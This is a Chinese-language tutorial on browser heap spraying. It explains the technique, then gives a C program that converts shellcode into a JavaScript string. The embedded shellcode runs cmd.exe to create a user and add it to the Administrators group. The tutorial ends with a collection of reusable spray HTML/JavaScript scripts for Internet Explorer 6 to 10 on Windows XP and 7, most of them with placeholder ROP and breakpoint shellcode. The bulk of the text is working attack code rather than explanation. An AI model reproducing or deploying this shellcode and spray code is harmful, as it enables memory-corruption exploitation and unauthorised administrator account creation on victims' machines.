堆喷射(Heap Spray)是一种 payload 传递技术,借助堆来将 shellcode 放置在可预测的堆地址上,然后稳
定地跳入 shellcode。为了实现 heap spray,你需要在劫持 EIP 前,能够先分配并填充堆内存块。“需要..能
够..”的意思是在触发内存崩溃前,你必须能够在目标程序中分配可控内存数据。浏览器已经为此提供了
一种很简单的方法,它能够支持脚本,可直接借助 javascript 或者 vbscript 在触发漏洞前分配内存。堆喷射
的运用并不局限于浏览器,例如你也可以在 Adobe Reader 中使用 Javascript 或者 Actionscript 将 shellcode
放置在可预测的堆地址上。
广义:如果在控制 EIP 前,你能够在可预测的地址上分配内存,那么你就是在使用 heap spray 技术。
现在我们看下 WEB 浏览器,实现堆喷射的关键点在于触发漏洞前,你能够将 shellcode 传输到正确的内存
地址。下面是实现堆喷射需要做的各项步骤:
1、 喷射堆块
2、 触发漏洞
3、 控制 EIP 并使其指向堆中
在编写利用程序之前,我们还需要讲ShellCode转换为JavaScript支持的形式。我们获取一段“添加用户”的ShellCode之后,一般是C语言的形式,下面讲其转换为JavaScript字符串形式:ShellCode转换为JavaScript支持的形式代码:
#include <stdio.h> #include <stdlib.h> unsigned char buf[] = { "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a" "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf" "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f" "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69" "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63" "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44" "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33" "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65" "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63" "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"}; int main(int argc, char **argv) { int i = 0; int n = sizeof(buf)-1; if (n & 1) n--; FILE *fp = fopen("c:\\shellocde.txt", "w"); for (i = 0; i < n; i += 2) { fprintf(fp, "\\u%02X%02X", buf[i+1], buf[i]); } n = sizeof(buf)-1; if (n & 1) { fprintf(fp, "\\u%02X%02X", 0, buf[i]); } fclose(fp); return 0; }
下面我收集了一些常用的spray脚本:
适用于Windows XP sp3 IE6与IE7
<html> <script > var shellcode, chunk_size = 0x40000, headersize = 0x24, nops, nops_len; shellcode = unescape("%u654e%u6674"); shellcode += unescape("%u6961%u7972"); //Netfairy nops = unescape("%u9090%u9090"); nops_len = chunk_size - (headersize + shellcode.length); while (nops.length < nops_len) nops += nops; nops = nops.substring(0, nops_len); var heap_chunks = new Array(); for (var i = 0 ; i < 300 ; i++) heap_chunks[i] = nops + shellcode; alert("Spray done") </script> </html>
适用于WINDOWS XP SP3 IE8
<!--0x20302228->rop-->
<html> <body> <div id='blah'></div> <script language='javascript'> var div_container = document.getElementById('blah'); div_container.style.cssText = "display:none"; var data; offset = 0x104; junk = unescape("%u2020%u2020"); while(junk.length < 0x1000) junk+=junk; rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc"); data = junk.substring(0,offset) + rop + shellcode; data += junk.substring(0,0x800-offset-rop.length-shellcode.length); //20+rop+shellcode+20 length==0x800 while(data.length < 0x80000) data += data; for (var i=0; i < 0x400; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,0x40000-0x58); obj.style.fontFamily = data.substring(0,0x40000-0x58); div_container.appendChild(obj); } alert("spray done"); </script> </body> </html>
适用于WIN7 X64 IE8 IE9 IE10(IE10所有模块强制随机化)
//0x20302228->ROP
<html> <head></head> <body> <div id='blah'></div> <script language='javascript'> var div_container = document.getElementById('blah'); div_container.style.cssText = "display:none"; var data; offset = 0x104; junk = unescape("%u2020%u2020"); while(junk.length < 0x1000) junk+=junk; rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc"); data = junk.substring(0,offset) + rop + shellcode; data += junk.substring(0,0x800-offset-rop.length-shellcode.length); while(data.length < 0x80000) data += data; for (var i=0; i < 0x500; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,0x40000-0x58); div_container.appendChild(obj); } alert('spray done!'); </script> </body> </html>
适用于WIN7 X86 IE8
//0x20302228->ROP
<html>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000; // 4096-bytes
var NopSlide = unescape("%u9090%u9090");
var Shellcode = '';
while(NopSlide.length<0x901)
{
NopSlide += unescape("%u9090%u9090");
}
Shellcode += unescape('%ucccc%ucccc'); //0x20302228
for (c = 0; c < block_size; c++)
{
Shellcode += unescape('%u9090');
}
Shellcode = Shellcode.substring(0,block_size - NopSlide.length-2);
var OBJECT = NopSlide + Shellcode+unescape('%u9090%u9090');;;
OBJECT = alloc(0xfffe0, OBJECT);
var evil = new Array();
for (var k = 0; k < 0x300; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
</script>
</html>